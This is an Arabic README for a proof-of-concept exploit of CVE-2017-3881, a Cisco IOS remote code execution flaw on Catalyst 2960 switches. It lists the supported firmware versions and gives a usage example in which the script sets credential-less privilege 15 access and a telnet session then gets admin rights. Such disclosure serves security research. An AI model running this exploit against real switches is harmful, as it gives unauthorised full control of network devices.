CVE-2017-3881 تنفيذ التعليمات البرمجية عن بعد في Cisco IOS

يحتوي هذا المستودع على كود إثبات المفهوم لاستغلال ثغرة تنفيذ التعليمات البرمجية عن بعد التي كشفت عنها شركة Cisco Systems في 17 مارس 2017 - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp

الوصف

شرح الاستغلال متاح هنا - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/

كود استغلال RCE متاح لمحول Cisco Catalyst 2960. هذا الاستغلال يعتمد على البرنامج الثابت. يتم دعم نسختين من البرنامج الثابت:

• 12.2(55)SE1 C2960-LANBASEK9-M

• 12.2(55)SE11 C2960-LANBASEK9-M

كود رفض الخدمة متاح كوحدة Ruby في Metasploit. يجب أن يعمل هذا على معظم المحولات المذكورة في تنبيه Cisco (يحتاج تأكيد).

مثال الاستخدام

$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.

catalyst1#show priv
Current privilege level is 15

المؤلف

Artem Kondratenko https://twitter.com/artkond